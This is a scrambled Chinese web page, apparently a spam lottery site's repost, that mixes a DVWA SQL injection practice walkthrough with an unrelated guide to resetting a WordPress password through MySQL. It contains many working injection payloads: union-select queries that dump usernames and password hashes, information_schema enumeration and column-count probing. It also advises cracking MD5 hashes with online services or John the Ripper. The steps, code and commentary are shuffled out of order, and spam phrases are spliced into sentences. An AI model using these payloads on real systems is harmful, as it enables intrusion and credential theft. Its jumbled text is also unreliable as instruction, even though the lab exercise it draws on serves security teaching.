DVWA十大漏洞之<01>SQL注入练习(low)分分快三全天计

作者:分分快三全天计划网站
  1. 首先,需要几样东西:Xshell,MySql的密码
  2. 具体过程:这里我的服务器用的是Vultr,
  3. 登上数据库:
    使用的语句是:mysql -u root -p
    出现的结果如下图:
    分分快三全天计划网站 1
  4. 接着输入语句:show databases;
    这里是显示所有的数据库,如下图:
    分分快三全天计划网站 2
  5. use wordpress;
    选择wordpress这个数据库,结果如下:
    分分快三全天计划网站 3
  6. 输入语句show tables;
    显示这个数据库下的表,如下图:
    分分快三全天计划网站 4
  7. desc wp_users;
    显示wp_users这个表的具体信息,当然这样的信息不是我们想要的
    分分快三全天计划网站 5
  8. 输入语句select *from wp_user;
    好了,现在显示的信息是我们需要的了,其他的不重要,我们只需要关心user_pass这一列。
    这里显示的就是原来密码的MD5值,所以接下来有2个选择,一个是将这个MD5值解密出来就是原来的密码,另一个就是直接修改这个值,我这里选择直接修改。
    分分快三全天计划网站 6
  9. 输入语句UPDATE wp_users SET user_pass = MD5( '123456' ) WHERE user_login = '这个就是你登陆Wordpress使用的用户名';
    如果用户名也忘记了,在刚才那个表中的user_login就是了。结果如下:
    分分快三全天计划网站 7
    现在姑且将密码设置成了123456了,但是太弱了,所以再来一步。
  10. 登上WordPress,修改密码,不要忘了更新个人信息哦d=====( ̄▽ ̄*)b。分分快三全天计划网站 8

在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的,也就是离“=”最近的一个。

输入1 or1 = 1,并没有值得期待的东西出来,看来数字型是不可以了,继续测试

 

分分快三全天计划网站 9

接下来就是执行SQl语句:

可以看到密码已经被破解出来了,密码是“admin”,好的,我们来验证一下!

1'or1=1 union select null,table_name from information_schema.tables#

分分快三全天计划网站 10

进行注入

 -1' union select database(),user()#

if (is_numeric($id)) {

分分快三全天计划网站 11

得到用户名与密码

 -1' union select column_name,2 from information_schema.columns where table_name='users'#

采用low leval的方法进行注入,payload: ' union select user,password from users #

可以看到最后一个引号没被闭合,那我们该怎么办呢?其实有好多种解决的办法,下面就简单介绍下。
方法一:可以在原来的基础上再继续输入一个引号,也就是“1''”。这时我们看一下查询语句:

查看源码,,符合我们的猜想:

看,这个时候我们已经成功登陆了!

High leval:

分分快三全天计划网站 12

information_schema是一个存储了其他数据库列信息的数据库

分分快三全天计划网站 13

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

上面显示出来的结果和输入1时一样。到这里我们就可以确定:漏洞的参数是“id”。漏洞的类型是字符型。
4、构造payload好了,在我们确认漏洞之后,就可以构造payload了。什么是payload?说白了就是一段恶意代码,以便我们能够获得数据库里面的数据。
4.1 分析字段数分析字段数的话,也是有两种方法。
方法一:用order by 语句。分析字段数的原因是我们之后需要用union select语句来获得我们需要的敏感数据。根据order by知识知道,要是后面跟着的数字超出了字段数时,就会报错!通过这个我们可以确定字段数。我们构造的payload如下:

'union select concat(first_name,' ',last_name,' ',user),password from users#

分分快三全天计划网站 14

Low SQL Injection

可以发现,当union select 1,2,3的时候报错,union select 1,2的时候没有报错,也就是说字段数为2。同时,我们也注意到,好像返回的内容中多了三条数据,这是啥呢?其实这就是我们union select出来的数据。这样通过查看页面,我们便可以获得数据库里面的信息了!
4.2 获取信息字段数为2,说明数据列有两列。我们可以通过union select语句查出两个数据。好了,我们来获取所需要的数据库里面的信息吧!
4.2.1 获取当前数据库名,当前用户名构造数据库查询语句如下所示:

得到的密码是MD5加密的,解密的话可以网上找在线解密MD5各种网站,搜索框输入CMD5即可:

select firstname,surname from users where id = '1'#';

order by 3

 select firstname,surname from users where id = '1';

显示所有users表中的列,包括user_id,first_name,last_name,user,password

当我们在1之后加一个引号,则会导致单引号数目不平衡,那么查询语句会变成这样:

$id = mysql_real_escape_string($id);

好的,我们可以看到当前使用的数据库为:dvwa,当前的用户名:root@localhost。
有时候,后面的select语句会限制输出的行数,一般来说,都会让原数据库查询无效,也就是输入无效的id,使得原数据库查询不反回结果。如下操作:

查询信息的列数,当后边所跟数字超过字段数时会报错

分分快三全天计划网站 15

使用firebug直接修改select的值

数据库版本高于5.0就可以爆库了,下面会具体讲解。

相比于Medium,增加了两个函数,stripslashes($id);删除了反斜杠,if (is_numeric($id))检查了变量是否为数字,告诉了我们应该如何防止SQL注入,防止SQL注入可以简单总结一下,检查用户输入,用户输入的应该是程序员所希望输入的,而不是其他的一些字符,同样也适用于XSS等Web漏洞。

好的,简单的SQL注入就说到这儿了

相比于低级的DVWA,中级的在源代码中多了$id = mysql_real_escape_string($id);

跟上一条结果一样吧?
又来了,这么多数据,选哪个呢???废话,当然是user,password啦。我们再次修改payload:

或者可以使用John the Ripper这款工具来破解,

1' order by 1#
1' order by 2#
1' order by 3#

$id = stripslashes($id);

分分快三全天计划网站 16

加个引号输入1‘之后,报错,可以看到1’变为''1''',说明sql语句为select first_name from users from id = '1',此时因为多了一个'而报错(在sql语句中,字符串被''所包),看来有戏

Binggo!我们爆出所有的用户名和密码值!等等,这密码好像有点奇葩,数一数,32位!好吧,是经过md5加密的。好不容易爆出管理员账号和密码,但是密码却加密,这就没有办法了吗?不一定!我们需要找一些破解md5值的网站来进行破解!直接百度“CMD5”,然后选择一个网站进去破解就可以了。
我们选择admin这个来进行破解,md5密文为:21232f297a57a5a743894a0e4a801fc3。

利用ersion(),user(),database()函数来获得数据库信息

1' union select 1#
1' union select 1,2# 
1' union select 1,2,3#

输入%' or 0 = 0 union select 1,2 #

 -1' union select user,password from users#

后记

4.2.2 获取当前的用户表根据上面的信息,我们知道当前数据库名为dvwa,可是还不够呀,表名是什么?内容又是什么?是不是打算放弃了?先吃根辣条冷静一下吧。
想想看,当你有不懂的字会怎么办呢?不要动不动就去百度,除了问度娘,还能怎么做呢?对了,查字典。那么mysql有没有类似于字典的东西呢?答案是肯定的,就是information_schema,这是一个包含了mysql数据库所有信息的“字典”,本质上还是一个database,存放着其他各个数据的信息。
在information_schema里,有一个表tables。有一个columns……是不是有点感觉了? tables这个表存放的是关于数据库中所有表的信息,里面有个字段叫table_name,还有个字段叫做table_schema。其中table_name是表名,table_schema表示的是这个表所在的数据库。对于columns,它有column_name,table_schema,table_name。回想一下,我们拥有的信息是数据库名。也就是说我们可以构造这样的payload来从数据库里获取一些东西。
好的,构造的查询语句如下:

有一个user数据库

它返回三行数据,一行是我们输入的用户ID。一行是用户名,另外一行是用户别名。同时,看一下浏览器的地址栏那里,发现url成这样了

有关他的用法,可以参考http://php.net/manual/en/function.mysql-real-escape-string.php,这里不做过多讲解,大概知道他是可以过滤掉一部分字符,,'等;

这样就只会返回我们需要的数据了。类似的函数还有:version() 获取当前数据库版本,@@version_compile_os获取当前操作系统。

而且增加了一个select选项,去掉了输入框

爆出来两个表,对那个感兴趣呢???当然是users表啦!不是说还有一个columns表么?所以我们还需要table_name以及table_schema来查column_name。这次我们构造的payload如下:

first name为第一列的值,surname为查询结果第二列的值

当输入到3的时候,发现它报错了,也就是说字段数为2。
方法二:直接用union select来猜测字段数。因为当字段数不对应的时候,它也是会发生报错的!我们构造以下查询语句:

0x0a是新建一行的ASCII十六进制代码。使用它来分离用户名称和密码。更多关于ASCII表可以查看http://www.bluesock.org/~willg/dev/ascii.html。

分分快三全天计划网站 17

与数据库中的列信息比较,相同

   -1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#

%' or '0' = '0' union select null,table_name from information_schema.tables#

分分快三全天计划网站 18

'union select user,password from users --

分分快三全天计划网站 19

%' and 1=0 union select null,concat(first_name,' ',last_DVWA十大漏洞之<01>SQL注入练习(low)分分快三全天计划网站。name,' ',user),password from users#

分分快三全天计划网站 20

Limit1表示只需要一行数据

 select firstname,surname from users where id = '1'-- ';

%' and 1=0 union select user,password from users#

select firstname,surname from users where id = '1''';

DVWA十大漏洞之<01>SQL注入练习(low)分分快三全天计划网站。Medium leval:

分分快三全天计划网站 21

DVWA--V1.9,SQL注入手动测试

 1' union select database(),user()#

1' and 1=2 union select version(),database() --

这里简单说一下,倘若不指定数据库名为'dvwa',若是其他数据里面也存在users表的话,则会出现很多混淆的数据。当然,在这里直接使用下面的语句也是可以成功的。

$id = $_GET['id'];

  -1' union select version(),@@version_compile_os#

首先查询有多少列,这里提供了里两种方法,(当然,这里只是在测试平台上,实际情况中,情况往往要更为复杂,可能会有上百列,那时候我们可以利用Python脚本来帮助我们执行这一过程)

分分快三全天计划网站 22

在某一版本的DVWA中的高级SQLI中,部分源代码如下

select firstname,surname from users where id = '1'';

输入:1' or '1' = '1

看到了么,出来的结果还是和user_id=1一样。
方法二:使用“#”符号来注释后面的单引号,到时查询语句将会变成这样:

使用另外一种类型的注入方法:数字型注入

这里有个id=1,是不是就是我们输入的user id呢?再输入“2”,发现url变成了

%' or 0 =0 union select null,version()#

分分快三全天计划网站 23

payload: 1 or 1 = 1 union select user,password from users #

分分快三全天计划网站 24

%' or 1 = 0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users'#

分分快三全天计划网站 25

查看源代码,发现id是直接取自所输入的值,没有做过多更改

好了,到这里,我们可以得出这里传进去的id的值是我们可以控制的。我们在输入框中输入什么,就会通过id传进去什么!
DVWA十大漏洞之<01>SQL注入练习(low)分分快三全天计划网站。3、对参数进行测试对id这个参数进行测试,查看一下它是否存在sql注入漏洞。我们在输入框里面输入“1'”,注意1后面有一个单引号“'”。

  -1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#

根据上面的提示,输入用户的id。然后我们输入之后,发现它返回了关于这个user的信息!这里我们输入了“1”。

2、测试和分析页面的功能这里有一个输入框

分分快三全天计划网站 26

分分快三全天计划网站 27

分分快三全天计划网站 28

解释一下,database()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。

1、设置把安全等级先调整为low,让自己获得点信心,免得一来就被打脸。DVWA之SQL注入演练(low)

发现这里报错了,说我们的sql语句出现了语法错误。我们可以进行这样一个猜测:首先它这个id是被两个“'”包住的。查询语句可能是这样的:

分分快三全天计划网站 29

方法三:使用“-- ”。这里注意了“-- ”后面有一个空格。在url当中,我们可以使用“ ”来代替“--”后面的空格。到时查询语句将会变成这样:

本文由分分快三计划发布,转载请注明来源

关键词: 分分快三计划 网络安全 首页投稿(暂